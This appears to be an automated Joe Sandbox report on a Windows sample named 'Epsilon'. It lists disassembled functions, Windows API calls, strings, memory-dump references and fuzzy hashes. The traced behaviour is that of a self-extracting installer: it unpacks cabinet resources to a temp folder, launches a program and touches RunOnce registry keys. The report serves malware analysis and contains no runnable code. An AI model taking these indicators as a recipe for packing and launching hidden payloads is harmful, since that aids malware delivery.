SetFileAttributesA.KERNEL32 ref: 00007FF737826A77
GetWindowsDirectoryA.KERNEL32 ref: 00007FF737826AE3

Part of subcall function 00007FF737827AC8: FindResourceA.KERNEL32 ref: 00007FF737827AF2
Part of subcall function 00007FF737827AC8: LoadResource.KERNEL32 ref: 00007FF737827B09
Part of subcall function 00007FF737827AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF737827B3F
Part of subcall function 00007FF737827AC8: FreeResource.KERNEL32 ref: 00007FF737827B51

Strings

msdownld.tmp, xrefs: 00007FF737826A16
A:\, xrefs: 00007FF7378268AD
Z, xrefs: 00007FF7378268EE
RUNPROGRAM, xrefs: 00007FF7378266F8, 00007FF737826759
<None>, xrefs: 00007FF7378267A5
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF73782684F

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-559629209
Opcode ID: d295679648a35d68ebefb1592e78e7fb96753640c5d4a5d15ac06b69cba29707
Instruction ID: efc6be0cd48548213f10f6cde0248a77e541a61b119dd289bf7055df7cc67aa3
Opcode Fuzzy Hash: d295679648a35d68ebefb1592e78e7fb96753640c5d4a5d15ac06b69cba29707
Instruction Fuzzy Hash: 86D17E22B1C68AA7EB10AF20D4502FAEFA1FB85742FD44135DA4E43A95DF3DD816D720

Function 00007FF737822DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF737822E08
memset.MSVCRT ref: 00007FF737822E1C

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

CreateEventA.KERNEL32 ref: 00007FF737822E59
SetEvent.KERNEL32 ref: 00007FF737822E6F
CreateMutexA.KERNEL32 ref: 00007FF737822F06
GetLastError.KERNEL32 ref: 00007FF737822F22
FindResourceExA.KERNEL32 ref: 00007FF737822FEE
LoadResource.KERNEL32 ref: 00007FF737823005

Part of subcall function 00007FF737823BF4: GetVersionExA.KERNEL32 ref: 00007FF737823C3F

#17.COMCTL32 ref: 00007FF73782301D
CloseHandle.KERNEL32 ref: 00007FF737822F88

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Strings

EXTRACTOPT, xrefs: 00007FF737822E86
INSTANCECHECK, xrefs: 00007FF737822EE0
, xrefs: 00007FF737822F6F
Adv, xrefs: 00007FF737822E30, 00007FF737822F38
TITLE, xrefs: 00007FF737822E37
VERCHECK, xrefs: 00007FF737822FE4

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $Adv$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-78895606
Opcode ID: 23b77a797956e355edfda7369f95b74ab6b4eb47665e611118273c2d92ba21bd
Instruction ID: fe1fd086dd253012cfa4fcc9ca2c261793b57cb18bd5de6fe29e58b792ff1484
Opcode Fuzzy Hash: 23b77a797956e355edfda7369f95b74ab6b4eb47665e611118273c2d92ba21bd
Instruction Fuzzy Hash: EC817A61A0C64BB6F720BB11A8147F9EE90BF88746FC04035D94D56AA5CF7CA427EB30

Function 00007FF737826CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF737826CEE
SetCurrentDirectoryA.KERNELBASE ref: 00007FF737826CFD
GetDiskFreeSpaceA.KERNELBASE ref: 00007FF737826D6C
MulDiv.KERNEL32 ref: 00007FF737826D98
GetVolumeInformationA.KERNELBASE ref: 00007FF737826DD6
memset.MSVCRT ref: 00007FF737826DF4
GetLastError.KERNEL32 ref: 00007FF737826E04
FormatMessageA.KERNEL32 ref: 00007FF737826E2F
SetCurrentDirectoryA.KERNEL32 ref: 00007FF737826FDD

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Part of subcall function 00007FF737827700: GetLastError.KERNEL32 ref: 00007FF737827704

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF737826CBA

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 4237285672-1193786559
Opcode ID: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction ID: c5890194483e7b98c1576c6a047feba118d85ab40d8f3e92b76c9c2cecd3271a
Opcode Fuzzy Hash: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction Fuzzy Hash: 30A18F36A0C646A7E720AF20E4446EAFFA0FB89745F904135DA4D43B94CF3DE42ADB10

Function 00007FF737825D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF737823300), ref: 00007FF737825DC0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF737823300), ref: 00007FF737825DD1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF737823300), ref: 00007FF737825DE0
GetDlgItem.USER32 ref: 00007FF737825E0D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF737823300), ref: 00007FF737825E1E
GetDlgItem.USER32 ref: 00007FF737825E36
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF737823300), ref: 00007FF737825E4A
#20.CABINET ref: 00007FF737825EBD
#22.CABINET ref: 00007FF737825F03
#23.CABINET ref: 00007FF737825F18
FreeResource.KERNEL32 ref: 00007FF737825F61
SendMessageA.USER32 ref: 00007FF737825FC3

Strings

*MEMCAB, xrefs: 00007FF737825EF4
CABINET, xrefs: 00007FF737825D9D, 00007FF737825DB7

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 12e41cc1847b5f8b0fa491761e3488ad6540e57cdb73ef1ed4f48c4a56cb0094
Instruction ID: 66f43a000d165236e3b462912a389bbd98e743bb38109f97ee3dd95c663d1cfe
Opcode Fuzzy Hash: 12e41cc1847b5f8b0fa491761e3488ad6540e57cdb73ef1ed4f48c4a56cb0094
Instruction Fuzzy Hash: FD511631A0DB4AA6EB10AB10E8542F5FFA0FF8974AFC49175C94D42664DF7CE026E760

Function 00007FF7378230EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF737823167
LoadLibraryA.KERNEL32 ref: 00007FF73782318B
GetProcAddress.KERNEL32 ref: 00007FF7378231A9
DecryptFileA.ADVAPI32 ref: 00007FF7378231C3
FreeLibrary.KERNEL32 ref: 00007FF7378231CC
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7378231FD

Part of subcall function 00007FF7378260A4: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF737823123), ref: 00007FF7378260C9

Strings

advapi32.dll, xrefs: 00007FF737823173
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7378231BC, 00007FF737823273
DecryptFileA, xrefs: 00007FF73782319F

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-3123416969
Opcode ID: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction ID: b653d65363001422986f68a937e4ee6ccc557349d3f4b2b0430750437257f9f2
Opcode Fuzzy Hash: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction Fuzzy Hash: 10714A20E0C64BB6FB60BB11A9542F5EEE0EF88747FC04035D94D42A91DF6CE827A630

Function 00007FF7378264E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF737822CE1), ref: 00007FF73782657C
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF737822CE1), ref: 00007FF73782662F
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF737822CE1), ref: 00007FF73782666F

Part of subcall function 00007FF7378263B8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF737822CE1), ref: 00007FF737826423
Part of subcall function 00007FF7378263B8: GetFileAttributesA.KERNELBASE ref: 00007FF737826432
Part of subcall function 00007FF7378263B8: GetTempFileNameA.KERNEL32 ref: 00007FF73782645B
Part of subcall function 00007FF7378263B8: DeleteFileA.KERNEL32 ref: 00007FF737826473
Part of subcall function 00007FF7378263B8: CreateDirectoryA.KERNEL32 ref: 00007FF737826484

Strings

mips, xrefs: 00007FF7378265B2
alpha, xrefs: 00007FF7378265A9
i386, xrefs: 00007FF7378265BB
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF737826528, 00007FF7378265DF
ppc, xrefs: 00007FF7378265A0

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3703068183
Opcode ID: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction ID: 77d970f0ad6cf33be112bb581fa59680c7f0e8abe5d4ae9ff34a0fac40278749
Opcode Fuzzy Hash: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction Fuzzy Hash: 0C519161B0D68AA2FB50AF25D9103F9EFA0AF44742FD84135C90D53A95DF7CE427E260

Function 00007FF737822C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF737822C69
GetModuleHandleW.KERNEL32 ref: 00007FF737822C86
GetProcAddress.KERNEL32 ref: 00007FF737822CA1
ExitWindowsEx.USER32 ref: 00007FF737822D6C
CloseHandle.KERNEL32 ref: 00007FF737822D8B

Strings

@, xrefs: 00007FF737822D45
Kernel32.dll, xrefs: 00007FF737822C7F
HeapSetInformation, xrefs: 00007FF737822C97

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction ID: 54f302cde6ed34e931790b04e51b9e27ecf77c5756cc3dee63c52a3c4af135e6
Opcode Fuzzy Hash: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction Fuzzy Hash: 30317132E0C64EB6FB64BB20A4442F5FE90AF54752FC54131D90D122A5CF7CE463A630

Function 00007FF73782204C Relevance: 12.1, APIs: 8, Instructions: 119filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 00007FF7378220E5
lstrcmpA.KERNEL32 ref: 00007FF737822144
lstrcmpA.KERNEL32 ref: 00007FF737822164
SetFileAttributesA.KERNEL32 ref: 00007FF7378221BD
DeleteFileA.KERNEL32 ref: 00007FF7378221CD
FindNextFileA.KERNELBASE ref: 00007FF7378221E1
FindClose.KERNELBASE ref: 00007FF7378221F8
RemoveDirectoryA.KERNELBASE ref: 00007FF737822207

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction ID: 181b02b457421ff57148781c57d2252d439eda3d7de96c1fa07d12a322867563
Opcode Fuzzy Hash: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction Fuzzy Hash: F2519031A0CB89A5EB11AF20D8002F8BBA1FB45B85FC58171DA5E07695DF3CE51BD320

Function 00007FF737823910 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 119
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNELBASE ref: 00007FF737823964
ResetEvent.KERNEL32 ref: 00007FF73782398C
SetEvent.KERNEL32 ref: 00007FF7378239D3
GetDesktopWindow.USER32 ref: 00007FF737823A18
GetDlgItem.USER32 ref: 00007FF737823A42
SendMessageA.USER32 ref: 00007FF737823A5F
GetDlgItem.USER32 ref: 00007FF737823A70
SendMessageA.USER32 ref: 00007FF737823A8F
SetWindowTextA.USER32 ref: 00007FF737823AA5
CreateThread.KERNELBASE ref: 00007FF737823AD0
EndDialog.USER32 ref: 00007FF737823B1A

Strings

Adv, xrefs: 00007FF737823A9B
, xrefs: 00007FF7378239B6

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $Adv
API String ID: 2654313074-3776740653
Opcode ID: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction ID: 1bd780c471a5d27f7a3652d07ad2e89c953921b6b0ceb826c09d21ea91c9cd3c
Opcode Fuzzy Hash: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction Fuzzy Hash: BC517331A0C64696E7506F11E9542F9FEA1FB8AB96FC49231C90E13B94CF3C9467E720

Function 00007FF7378261EC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF737826231
DeleteFileA.KERNELBASE ref: 00007FF737826240
LocalFree.KERNEL32 ref: 00007FF737826253
LocalFree.KERNEL32 ref: 00007FF737826262
SetCurrentDirectoryA.KERNELBASE ref: 00007FF7378262FB
RegOpenKeyExA.KERNELBASE ref: 00007FF73782634E
RegDeleteValueA.KERNELBASE ref: 00007FF73782636A
RegCloseKey.ADVAPI32 ref: 00007FF73782637B

Strings

wextract_cleanup0, xrefs: 00007FF737826363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF737826340
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF73782629C

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-1423647952
Opcode ID: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction ID: 4c6f3ca7c8dffe93376bf849a1616d96ddd6b1c1d1a5c9bb9ceddf8e58095035
Opcode Fuzzy Hash: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction Fuzzy Hash: 68511E21A0C68AA6EB10AF14E8543F9FFA0FB85746FC45131CA4D07694CF3DE46AD760

Function 00007FF73782473C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF7378247AE
WaitForSingleObject.KERNEL32 ref: 00007FF7378247CA
GetExitCodeProcess.KERNELBASE ref: 00007FF7378247E0
CloseHandle.KERNEL32 ref: 00007FF737824881
CloseHandle.KERNEL32 ref: 00007FF737824892
GetLastError.KERNEL32 ref: 00007FF7378248BE
FormatMessageA.KERNEL32 ref: 00007FF7378248EF

Strings

, xrefs: 00007FF73782479C

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-3916222277
Opcode ID: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction ID: 5100e637e1df04a86559a7d7dba2b9ed6574f7dc2621c52a33e39f4dc9a70322
Opcode Fuzzy Hash: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction Fuzzy Hash: F151B43291C689A6F760AB10E4443F9FFA0FB8875AF904135D64D466A4CFBCD856DB30

Function 00007FF737822318 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF73782236D
RegQueryValueExA.KERNELBASE ref: 00007FF73782239C
RegCloseKey.ADVAPI32 ref: 00007FF7378223B7
RegOpenKeyExA.ADVAPI32 ref: 00007FF7378223EE
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF737822436

Strings

PendingFileRenameOperations, xrefs: 00007FF73782238A
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF7378223E0
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF73782235F

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 9f23079a79aaf393f30d7d52ead263bb4ecc079f7f4d037dad90965ff67e785b
Instruction ID: 88e6a943f0cdff83ac58d76869f08f80c2786bf2bad326fedf44df7ad6b3b948
Opcode Fuzzy Hash: 9f23079a79aaf393f30d7d52ead263bb4ecc079f7f4d037dad90965ff67e785b
Instruction Fuzzy Hash: A131803260CB49DBD7109F25E8405EAFBA4FB88755F854535EA4D43B64CF38D061DB10

Function 00007FF7378263B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73782114C: _vsnprintf.MSVCRT ref: 00007FF737821189

RemoveDirectoryA.KERNELBASE(0000000A,00007FF737822CE1), ref: 00007FF737826423
GetFileAttributesA.KERNELBASE ref: 00007FF737826432
GetTempFileNameA.KERNEL32 ref: 00007FF73782645B
DeleteFileA.KERNEL32 ref: 00007FF737826473
CreateDirectoryA.KERNEL32 ref: 00007FF737826484
CreateDirectoryA.KERNELBASE ref: 00007FF7378264BB

Strings

IXP%03d.TMP, xrefs: 00007FF7378263E6
IXP, xrefs: 00007FF73782644E

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction ID: 167419c7a10c0ec1e576be2db8e936f39b93996968d6141ade4cdaeca72e05b9
Opcode Fuzzy Hash: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
